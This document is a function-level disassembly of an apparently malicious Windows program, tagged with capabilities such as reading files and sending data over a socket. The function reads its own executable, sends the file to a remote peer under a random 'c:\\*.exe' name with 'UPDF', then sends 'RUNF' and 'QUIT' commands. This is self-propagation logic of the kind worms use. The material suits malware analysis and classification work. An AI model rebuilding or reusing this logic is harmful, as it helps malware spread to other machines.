Function at 0x406c7e
Capabilities:
Get file size
Read and send data from client to server
Read file on windows
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x538
push ebx
push esi
push edi
and dword [ebp - 0x414], 0
push 0xf
push 0
lea eax, [ebp - 0x423]
push eax
call sub.CRTDLL.DLL_memset
push 5
push 0
lea eax, [ebp - 0x40d]
push eax
call sub.CRTDLL.DLL_memset
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.CRTDLL.DLL_srand
add esp, 0x1c
xor ebx, ebx
call sub.CRTDLL.DLL_rand
mov ecx, 0x1a
cdq
idiv ecx
mov edi, edx
add edi, 0x61
mov edx, edi
mov byte [ebp + ebx - 0x40d], dl
inc ebx
cmp ebx, 4
jl 0x406cc1
mov byte [ebp + ebx - 0x40c], 0
lea eax, [ebp - 0x40d]
push eax
push str.c:_s.exe
lea eax, [ebp - 0x423]
push eax
call sub.CRTDLL.DLL_sprintf
lea eax, [ebp - 0x414]
push eax
mov eax, 0x80040000
or ax, 0x6600
or al, 0x7e
push eax
push dword [ebp + 8]
call sub.wsock32.dll_ioctlsocket
push dword [ebp + 8]
call fcn.00406bca
add esp, 0x10
cmp eax, 0xffffffff
je 0x406f3c
push 0x400
push 0
push 0x408f80
call sub.CRTDLL.DLL_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x527]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x527]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x404], eax
cmp eax, 0xffffffff
je 0x406f3c
push 0
push dword [ebp - 0x404]
call sub.KERNEL32.DLL_GetFileSize
mov esi, eax
mov eax, dword [0x412d90]
mov dword [eax], 0x46445055
mov dword [eax + 4], esi
lea eax, [ebp - 0x423]
push eax
mov eax, dword [0x412d90]
add eax, 8
push eax
call fcn.00407b2c
push 0
push 0x400
push 0x408f80
push dword [ebp + 8]
call sub.wsock32.dll_send
push dword [ebp + 8]
call fcn.00406bca
pop ecx
cmp eax, 0xffffffff
jne 0x406e84
jmp 0x406f3c
mov dword [ebp - 0x534], 0x400
push 0x400
push 0
lea eax, [ebp - 0x400]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov eax, 0x400
cmp eax, esi
jbe 0x406e0e
mov dword [ebp - 0x534], esi
xor eax, eax
sub eax, esi
mov dword [ebp - 0x408], eax
push 2
push 0
push eax
push dword [ebp - 0x404]
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0x414]
push eax
push dword [ebp - 0x534]
lea eax, [ebp - 0x400]
push eax
push dword [ebp - 0x404]
call sub.KERNEL32.DLL_ReadFile
push 0
push dword [ebp - 0x534]
lea eax, [ebp - 0x400]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_send
mov dword [ebp - 0x538], eax
cmp eax, 0xffffffff
jne 0x406e7e
call sub.wsock32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x406e8c
and dword [ebp - 0x538], 0
sub esi, dword [ebp - 0x538]
or esi, esi
jne 0x406ddf
push dword [ebp + 8]
call fcn.00406bca
pop ecx
cmp eax, 0xffffffff
je 0x406f3c
cmp dword [ebp - 0x404], 0xffffffff
je 0x406eb2
push dword [ebp - 0x404]
call sub.KERNEL32.DLL_CloseHandle
push 0x400
push 0
push 0x408f80
call sub.CRTDLL.DLL_memset
mov eax, dword [0x412d90]
mov dword [eax], 0x464e5552
lea eax, [ebp - 0x423]
push eax
mov eax, dword [0x412d90]
add eax, 4
push eax
call sub.CRTDLL.DLL_sprintf
push 0
push 0x400
push 0x408f80
push dword [ebp + 8]
call sub.wsock32.dll_send
push dword [ebp + 8]
call fcn.00406bca
add esp, 0x18
cmp eax, 0xffffffff
je 0x406f3c
push 0x400
push 0
push 0x408f80
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov eax, dword [0x412d90]
mov dword [eax], 0x54495551
push 0
push 4
push 0x408f80
push dword [ebp + 8]
call sub.wsock32.dll_send
xor eax, eax
inc eax
jmp 0x406f46
push dword [ebp + 8]
call sub.wsock32.dll_closesocket
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret